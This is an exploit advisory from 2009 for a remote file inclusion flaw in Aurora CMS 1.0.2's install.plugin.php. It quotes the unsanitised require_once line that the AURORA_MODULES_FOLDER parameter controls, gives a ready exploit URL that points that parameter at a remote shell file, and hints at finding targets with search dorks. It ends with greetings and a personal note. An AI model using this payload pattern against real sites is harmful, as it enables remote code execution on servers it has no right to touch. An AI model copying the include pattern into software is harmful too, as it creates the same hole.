Aurora CMS 1.0.2 Remote File Inclusion

`---------------------------------------------------------------------------------------------------------------  
Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability   
---------------------------------------------------------------------------------------------------------------  
  
  
**********************************************************************************************************************************  
* [+] Author : EA Ngel *  
* [+] Situs : www[dot]manadocoding[dot]net *  
* [+] Location : Indonesia *  
* [+] Contact : engelpemula[at]gmail[dot]com *  
* [+] Download script : http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz *  
* * *  
**********************************************************************************************************************************  
  
  
a. Dork : kreasikan otak-mu :)   
  
b. Bug : - install.plugin.php  
- global $AURORA_MODULES_FOLDER;  
require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php';  
  
  
[@] Exploit : http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?]  
  
  
[#] Special Thanks : str0ke  
  
- manadocoding : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki  
g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's  
  
  
- Sekuritionline : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0  
and friend's   
  
  
- lain-lain : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom  
alan_sarante, jajack, chrezz, wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2,   
C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's  
  
  
[/] Note : NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for,   
being the proof of things [we] do not see and the conviction of their reality [faith perceiving   
as real fact what is not revealed to the senses].  
  
  
===================================================================================================================================  
= 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u =  
===================================================================================================================================  
  
  
  
`